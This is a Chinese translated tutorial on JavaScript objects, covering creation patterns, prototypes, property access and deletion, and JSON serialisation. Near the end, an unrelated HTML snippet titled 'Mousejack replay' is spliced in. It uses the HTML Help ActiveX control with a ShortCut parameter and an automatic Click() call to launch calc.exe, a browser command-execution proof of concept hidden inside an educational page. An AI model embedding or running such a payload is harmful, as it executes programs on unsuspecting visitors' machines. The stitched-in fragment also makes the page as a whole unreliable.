详解JavaScript对象类型


Posted in Javascript onJune 16, 2016

JavaScrtip有六种数据类型,一种复杂的数据类型(引用类型),即Object对象类型,还有五种简单的数据类型(原始类型):Number、String、Boolean、Undefined和Null。其中,最核心的类型就是对象类型了。同时要注意,简单类型都是不可变的,而对象类型是可变的。
 什么是对象 
一个对象是一组简单数据类型(有时是引用数据类型)的无序列表,被存储为一系列的名-值对(name-value pairs)。这个列表中的每一项被称为 属性(如果是函数则被称为 方法)。 
下面是一个简单的对象:

var myFirstObject = { 
    firstName: "Richard",
    favoriteAuthor: "Conrad"
  };

可以把对象考虑成一个列表,列表中的每一项(属性或方法)都以名-值对的方式存储。上面例子中,对象的属性名就是firstName和favortieAuthor,相应的,对象的属性值为Richard和Conrad。
 属性名可以是字符串或者数字,但是如果以数字作为属性名,则必须以方括号(方括号记法)来获得这个数字属性名对应的属性值。稍后有方括号记法的更详细解释。下面是一个方括号记法的例子:

var ageGroup = {30: "Children", 100:"Very Old"};
  console.log(ageGroup.30) // 报错
  ​// 访问30这个属性的正确方法
  console.log(ageGroup["30"]); // Children​
  ​
  ​//最好避免使用数字作为属性名

作为一个JavaScript程序员,你会经常使用到对象数据类型。一般用它来储存数据,或者创建自定义的方法或函数。
 引用数据类型和原始数据类型 
引用类型与原始类型最主要的一个不同点就是引用类型是按引用存储的,它不会像原始类型一样,将值直接存储在变量中。比如: 

// 原始类型数据是按值存储的 
  ​var person = "Kobe"; 
  ​var anotherPerson = person; // anotherPerson = the value of person​
  person = "Bryant"; // person的值改变了
  ​
  console.log(anotherPerson); // Kobe​
  console.log(person); // Bryan

可以注意到,即使我们将person的值改为"Bryant",对anthoerPerson也会不有丝毫影响,它仍然保存了原本person赋给它的值。
 将原始类型的按值存储跟引用类型的按引用存储进行一下比较:

var person = {name: "Kobe"};
  ​var anotherPerson = person;
  person.name = "Bryant";
  ​
  console.log(anotherPerson.name); // Bryant​
  console.log(person.name); // Bryant

在这个例子中,我们将person对象复制给了anthoerPerson,但是由于person对象中存储的是引用而不是真正的值。所以当我们将person.name改变为"Bryant"的时候,anotherPerson变量也反应出了这个变化,因为它并没有将person中的所有属性都复制一份保存起来,而是直接保存了对象的引用。

对象属性的特性(Attributes) 

注:Attribute一般也是翻译为属性,但是为了跟Propertie(也翻译为属性)进行区分,这里将其翻译为特性,这也是咨询过别人的,应该无伤大雅
 每个对象属性不止保存了自身的名-值对,它同时还包含了三个特性,这三个特性默认被设置为true。
 •Configurable Attribute: 指定这个对象属性是否可以被删除或修改。
•Enumerable:指定这个对象属性在for-in循环中是否可以被取得。
•Writable:指定这个对象属性是否可以被修改。
 在EMACScript 5中有一些新的特性,这里不做详细讲解。

 创建对象
 创建对象有两种比较常用的方法:
 1.对象字面量
 这是创建对象最常用,也是最简单的方式,直接使用字面量进行创建:

// 空对象
​var myBooks = {};
​
​// 使用字面量创建的包含4个属性的对象
​var mango = {
  color: "yellow",
  shape: "round",
  sweetness: 8,
​
​  howSweetAmI: function () {
    console.log("Hmm Hmm Good");
  }
}

2.对象构造函数
 第二种常用的方法是使用对象构造函数。构造函数是一种可以用来创建新对象的特殊函数,要使用new关键字来调用构造函数。 

var mango = new Object ();
mango.color = "yellow";
mango.shape= "round";
mango.sweetness = 8;
​
mango.howSweetAmI = function () {
  console.log("Hmm Hmm Good");
}

虽然可以使用某些保留字或关键字,比如for作为对象属性的名称,不过这可不是一个明智的选择。
 对象的属性可以包含任何数据类型,包括Number,Arrays,甚至是其它的Object。
 对象创建的实践模式
 对于创建只使用一次的用于存储数据的简单对象,上面的两种方法就可以满足需求。 
但是,假设有一个程序用于展示水果和它的详细信息。程序中的每个水果类型都有如下对象属性:color, shape, sweetness, cost 和一个showName函数。要是每次创建一个新的水果对象时,都得敲一遍下面的代码,那将是十分乏味和低效率的。

var mangoFruit = {
    color: "yellow",
    sweetness: 8,
    fruitName: "Mango",
    nativeToLand: ["South America", "Central America"],
  ​
    ​showName: function () {
      console.log("This is " + this.fruitName);
    },
    ​nativeTo: function () {
      this.nativeToLand.forEach(function (eachCountry) {
        console.log("Grown in:" + eachCountry);
      });
    }
  }

如果你有10个水果,你就得添加10次相同的代码。并且,如果想修改nativeTo函数,就得在10个不同的地方进行修改。再进一步推想,如果你在开发一个大型网站,你为上面的对象都一个一个添加了属性。但是,你突然发现你创建对象的方式不是很理想,你想要进行修改,这时又该怎么办。
 为了解决这些重复性的问题,软件工程师们发明了各种模式(对于重复问题和常见任务的解决方案),使用开发程序更有效率和合理化。
 下面是两种创建对象的常用模式:
 1.构造方法模式

function Fruit (theColor, theSweetness, theFruitName, theNativeToLand) {
  this.color = theColor;
  this.sweetness = theSweetness;
  this.fruitName = theFruitName;
  this.nativeToLand = theNativeToLand;

  this.showName = function () {
    console.log("This is a " + this.fruitName);
  }

  this.nativeTo = function () {
    this.nativeToLand.forEach(function (eachCountry) {
      console.log("Grown in:" + eachCountry);
    });
  }
}

使用这种模式,很容易就可以创建出各式各样的水果来。像这样:

var mangoFruit = new Fruit ("Yellow", 8, "Mango", ["South America", "Central America", "West Africa"]);
mangoFruit.showName(); // This is a Mango.​
mangoFruit.nativeTo();
​//Grown in:South America​
​// Grown in:Central America​
​// Grown in:West Africa​

​var pineappleFruit = new Fruit ("Brown", 5, "Pineapple", ["United States"]);
pineappleFruit.showName(); // This is a Pineapple.

如果你要改变属性或方法,你只需要在一个地方进行修改就可以了。这个模式通过一个Fruit函数的继承,封装了所有水果的功能和特性。
 注意:
 ◦可继承的属性需要定义在对象的prototype对象属性上。比如
 someObject.prototype.firstName = "rich";
◦属于自身的属性要直接定义在对象的上。比如:

// 首先,创建一个对象
var aMango = new Fruit ();
// 接着,直接在对象上定义mongoSpice方法
// 因为我们直接在对象身上定义了mangoSpice属性,所以它是aMango自身的属性,不是一个可继承的属性
aMango.mangoSpice = “some value”;

◦要访问一个对象的属性,使用object.property,如:
 console.log(aMango.mangoSpice); // "some value"
◦要调用一个对象的方法,使用object.method(),如:

// 首先,增加一个方法
aMango.printStuff = function() { return "Printing"; }

// 现在,可以调用printStuff方法
aMango.printStuff();

2.原型模式

function Fruit () {
}

Fruit.prototype.color = "Yellow";
Fruit.prototype.sweetness = 7;
Fruit.prototype.fruitName = "Generic Fruit";
Fruit.prototype.nativeToLand = "USA";

Fruit.prototype.showName = function () {
  console.log("This is a " + this.fruitName);
}

Fruit.prototype.nativeTo = function () {
  console.log("Grown in:" + this.nativeToLand);
}

下面是在原型模式中调用Fruit()构造函数的方法:

var mangoFruit = new Fruit ();
mangoFruit.showName(); //​
mangoFruit.nativeTo();
​// This is a Generic Fruit​
​// Grown in:USA

扩展阅读
 如果需要了解这两种模式的更详细的解释,可以阅读《JavaScript高级程序设计》的第六章,其中详细讨论了这两种方法的优缺点。书中还讨论了除这两个外的其它模式。 
如何访问对象中的属性 
访问对象属性的两种主要方法是点记法(dot notation)和中括号记法(bracket notation)。
 1.点记法

// 这是我们前面例子中一直使用的访问属性的方法
​var book = {title: "Ways to Go", pages: 280, bookMark1:"Page 20"};
​
​// 使用点记法访问book对象的title和pages属性:​
console.log ( book.title); // Ways to Go​
console.log ( book.pages); // 280

2.中括号记法

// 使用方括号启示访问book对象的属性:
console.log ( book["title"]); //Ways to Go​
console.log ( book["pages"]); // 280​
​
​//如果属性名储存在一个变量当中,也可以这样:​
​var bookTitle = "title";
console.log ( book[bookTitle]); // Ways to Go​
console.log (book["bookMark" + 1]); // Page 20

访问一个对象中不存在的属性会得到一个undefined。

自身属性和继承属性 
对象拥有自身属性和继承属性。自身属性是直接定义在对象上的属性,而继承属性是从Object的Prototype继承的属性。
 为了确写一个对象是否拥有某个属性(不管是自身属性还是继承属性),可以使用in操作符:

// 创建一个有schoolName属性的对象
  var school = {schoolName:"MIT"};

  ​// 打印出true,因为对象拥有schoolName这个属性
  console.log("schoolName" in school); // true​
  ​
  ​// 打印出false,因为我们既没有定义schoolType属性,也没有从Object的Prototype中继承schoolType属性
  console.log("schoolType" in school); // false​
   
  ​// 打印出true, 因为从Object的Prototype中继承了toString方法
  console.log("toString" in school); // true

hasOwnProperty
 为了确定一个对象是否拥有一个特定的自身属性,可以使用hasOwnPrototype方法。这个方法十分有用,因为我们经常需要枚举一个对象的所有自身属性,而不是继承属性。

// 创建一个拥有schoolName属性的对象
  ​var school = {schoolName:"MIT"};
  ​
  ​// 打印出true,因为schooName是school的自身属性
  console.log(school.hasOwnProperty ("schoolName")); // true​
   
  ​// 打印出false,因为toString是从Object的Prototype中继承下来的,并且school的自身属性
  console.log(school.hasOwnProperty ("toString")); // false

访问和枚举对象中的属性
 为了访问对象中可以枚举的属性(自身或者继承的),可以使用for-in循环或普通的循环方式。

// 创建拥有3个属性的school对象: schoolName, schoolAccredited, and schoolLocation.​
  ​var school = {schoolName:"MIT", schoolAccredited: true, schoolLocation:"Massachusetts"};
  ​
  ​//使用for-in循环获取对象中的属性
  ​for (var eachItem in school) {
    console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation​
  }

访问继承的属性
 从Object的Prototype中继承的属性不可枚举的,所以在for-in循环中不会访问到这些属性。然而,如果是可枚举的继承属性,它们也是能够从for-in循环中访问到的。
 比如:

//使用for-in循环访问school对象中的属性
  for (var eachItem in school) {
    console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation​
  }


  // 注:以下这段说明是原文的说明
  /* SIDE NOTE: As Wilson (an astute reader) correctly pointed out in the comments below, the educationLevel property is not actually inherited by objects that use the HigherLearning constructor; instead, the educationLevel property is created as a new property on each object that uses the HigherLearning constructor. The reason the property is not inherited is because we use of the "this" keyword to define the property.
  */​

  // Create a new HigherLearning function that the school object will inherit from.​

  function HigherLearning () {
    this.educationLevel = "University";
  }

  // Implement inheritance with the HigherLearning constructor​
  var school = new HigherLearning ();
  school.schoolName = "MIT";
  school.schoolAccredited = true;
  school.schoolLocation = "Massachusetts";

  //Use of the for/in loop to access the properties in the school object​
  for (var eachItem in school) {
    console.log(eachItem); // Prints educationLevel, schoolName, schoolAccredited, and schoolLocation​
  }

删除对象中的属性
 可以使用delete操作符来删除对象中的属性。我们不能删除继承的属性,同时也不能删除Configurable特性被设置为false的对象属性。要删除继承的属性,必须从Prototype对象中删除(也就是定义这些属性的地方)。并且,我们也不能删除全局对象中的属性。
 删除成功的时候,delete操作符会返回true。令人意外的是,当要删除的属性不存在,或者不能被删除(即不是自身的属性或者Configurable特性被设置为false)时, delete操作符也会返回true。
 以下是示例:
  

var christmasList = {mike:"Book", jason:"sweater" }
  delete christmasList.mike; // deletes the mike property​

  for (var people in christmasList) {
    console.log(people);
  }
  // Prints only jason​
  // The mike property was deleted​

  delete christmasList.toString; // 返回 true, 但是因为toString是继承的属性,所以它不会被删除

  // 因为toString没有被删除,所以这里还能够正常使用
  christmasList.toString(); //"[object Object]"​

  // 如果一个属性是对象实例的自身属性,则我们可以删除它。
  // 比如我们可以从之前例子中定义的school对象中删除educationLevel属性,
  // 因为educationLevel是定义在那个实例中的:我们在HigherLearning函数中定义educationLevel时使用了"this"关键字。
  //我们并没有在HigherLearning函数的prototype对象在定义educationLevel属性。

  console.log(school.hasOwnProperty("educationLevel")); // true​
  // educationLevel是一个school对象的一个自身属性,所以 我们可以删除它​
  delete school.educationLevel; // true

  // educationLevel属性已经从school实例中删除了
  console.log(school.educationLevel); // undefined

  // 但是educationLevel属性仍然存在于HigherLearning函数中
  var newSchool = new HigherLearning ();
  console.log(newSchool.educationLevel); // University​

  // 如果我们在HigherLearning函数prototype中定义了一个属性, 比如这个educationLevel2属性:​
  HigherLearning.prototype.educationLevel2 = "University 2";

  // 这个educationLevel2属性不属性HigherLearning实例的自身属性

  // educationLevel2属性不是school实例的自身属性​
  console.log(school.hasOwnProperty("educationLevel2")); false​
  console.log(school.educationLevel2); // University 2​

  // 尝试删除继承的educationLevel2属性​
  delete school.educationLevel2; // true (正如前面所提到的,这个表达式会返回true)

  // 继承的educationLevel2属性没有被删除
  console.log(school.educationLevel2); University 2​

序列化和反序列化对象
 为了在HTTP中传递对象或者将对象转化成字符串,我们必须将对象序列化(将其转化为字符串)。我们可以使用JSON.stringify来序列化对象。要注意的是,在ECMAScript 5之前的版本,我们要使用json2库来获得JSON.stringify函数。在ECMAScript 5中,这个函数已经成为标准函数。
 为了将反序列化对象(即,将字符串转化成对象),可以使用JSON.parse函数来完成。同样,在第5版之前要从json2库中获取这个函数,在第5版中已经加入这个标准函数。
 示例代码:
   

var christmasList = {mike:"Book", jason:"sweater", chelsea:"iPad" }
  JSON.stringify (christmasList);
  // Prints this string:​
  // "{"mike":"Book","jason":"sweater","chels":"iPad"}"

  // To print a stringified object with formatting, add "null" and "4" as parameters:​
  JSON.stringify (christmasList, null, 4);
  // "{
  //   "mike": "Book",
  //   "jason": "sweater",
  //   "chels": "iPad"​
  // }"

  // JSON.parse Examples
  // The following is a JSON string, so we cannot access the properties with dot notation (like christmasListStr.mike)​
  var christmasListStr = '{"mike":"Book","jason":"sweater","chels":"iPad"}';

  // Let's convert it to an object​
  var christmasListObj = JSON.parse (christmasListStr);

  // Now that it is an object, we use dot notation​
  console.log(christmasListObj.mike); // Book

更多关于JavaScript对象的讨论和解释,以及ECMAScript第5版增加的内容,可以参考《JavaScript权威指南(第6版)》第六章。

后记 
第一次翻译文章,真心觉得要把翻译做好也不是那么简单的,很多简单的句子看着很明白,结果真正想翻译出来的时候,却是死活想不出合适的表达方式。通篇文章都是根据我自己的理解,然后通过意译出来的,没有逐句进行翻译。所以,如果有哪些地方理解有偏差,或者翻译不当的地方,请尽量指出,我会尽快改正。毕竟翻译这往篇文章也是想跟大家分享,我不希望因为自己理解的错误,导致对大家产生误导。 
就酱,收工。

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
 
command exec
 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
 
<PARAM name="Command" value="ShortCut">
 
 <PARAM name="Button" value="Bitmap::shortcut">
 
 <PARAM name="Item1" value=',calc.exe'>
 
 <PARAM name="Item2" value="273,1,1">
 
</OBJECT>
 
<SCRIPT>
 
x.Click();
 
</SCRIPT>
 
</body></html>

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
找出字符串中出现次数最多的字母和出现次数精简版
Nov 07 Javascript
Js日期选择自动填充到输入框(界面漂亮兼容火狐)
Aug 02 Javascript
Javascript中设置默认参数值示例
Sep 11 Javascript
jQuery 判断图片是否加载完成方法汇总
Aug 10 Javascript
JQuery EasyUI学习教程之datagrid 添加、修改、删除操作
Jul 09 Javascript
AngularJS使用ng-options指令实现下拉框
Aug 23 Javascript
AngularJS框架的ng-app指令与自动加载实现方法分析
Jan 04 Javascript
解决循环中setTimeout执行顺序的问题
Jun 20 Javascript
微信小程序表单验证form提交错误提示效果
Jun 19 Javascript
记录一次完整的react hooks实践
Mar 11 Javascript
Vue.js实现大屏数字滚动翻转效果
Nov 29 Javascript
ES6箭头函数和扩展实例分析
May 23 Javascript
jQuery on()方法绑定动态元素的点击事件实例代码浅析
Jun 16 #Javascript
jQuery页面元素动态添加后绑定事件丢失方法,非 live
Jun 16 #Javascript
JSON字符串和对象相互转换实例分析
Jun 16 #Javascript
jQuery的层级查找方式分析
Jun 16 #Javascript
jQuery实现响应鼠标事件的图片透明效果【附demo源码下载】
Jun 16 #Javascript
JS中sort函数排序用法实例分析
Jun 16 #Javascript
JS原型对象的创建方法详解
Jun 16 #Javascript
You might like
php实现在服务器上创建目录的方法
2015/03/16 PHP
Laravel与CI框架中截取字符串函数
2016/05/08 PHP
脚本吧 - 幻宇工作室用到js,超强推荐base.js
2006/12/23 Javascript
让mayfish支持mysqli数据库驱动的实现方法
2010/05/22 Javascript
一个报数游戏js版(约瑟夫环问题)
2010/08/05 Javascript
非主流的textarea自增长实现js代码
2011/12/20 Javascript
使图片旋转的3种解决方案
2013/11/21 Javascript
常规表格多表头查询示例
2014/02/21 Javascript
JavaScript函数详解
2015/02/27 Javascript
使用jquery清空、复位整个输入域
2015/04/02 Javascript
Node.js编写组件的三种实现方式
2016/02/25 Javascript
jQuery事件绑定on()与弹窗实现代码
2016/04/28 Javascript
jQuery UI结合Ajax创建可定制的Web界面
2016/06/22 Javascript
js实现悬浮窗效果(支持拖动)
2017/03/09 Javascript
BootStrap TreeView使用实例详解
2017/11/01 Javascript
完美解决iview 的select下拉框选项错位的问题
2018/03/02 Javascript
vue-cli系列之vue-cli-service整体架构浅析
2019/01/14 Javascript
OpenLayer3自定义测量控件MeasureTool
2020/09/28 Javascript
小程序实现点击tab切换左右滑动
2020/11/16 Javascript
python计算文本文件行数的方法
2015/07/06 Python
python监控文件或目录变化
2016/06/07 Python
Python实现感知机(PLA)算法
2017/12/20 Python
Pytorch 抽取vgg各层并进行定制化处理的方法
2019/08/20 Python
浅析python内置模块collections
2019/11/15 Python
python 图像插值 最近邻、双线性、双三次实例
2020/07/05 Python
python 提高开发效率的5个小技巧
2020/10/19 Python
Python高阶函数与装饰器函数的深入讲解
2020/11/10 Python
Expedia印度:您的一站式在线旅游网站
2017/08/24 全球购物
澳大利亚床上用品、浴巾和家居用品购物网站:Bambury
2020/04/16 全球购物
Roxy俄罗斯官方网站:冲浪和滑雪板的一切
2020/06/20 全球购物
Quiksilver美国官网:始于1969年的优质冲浪服和滑雪板外套
2020/04/20 全球购物
路政管理专业推荐信
2013/11/11 职场文书
集团公司总经理岗位职责
2013/12/20 职场文书
建筑系毕业生自我鉴定
2014/01/24 职场文书
财务情况说明书范文
2014/05/06 职场文书
2016年寒假家长评语
2015/10/10 职场文书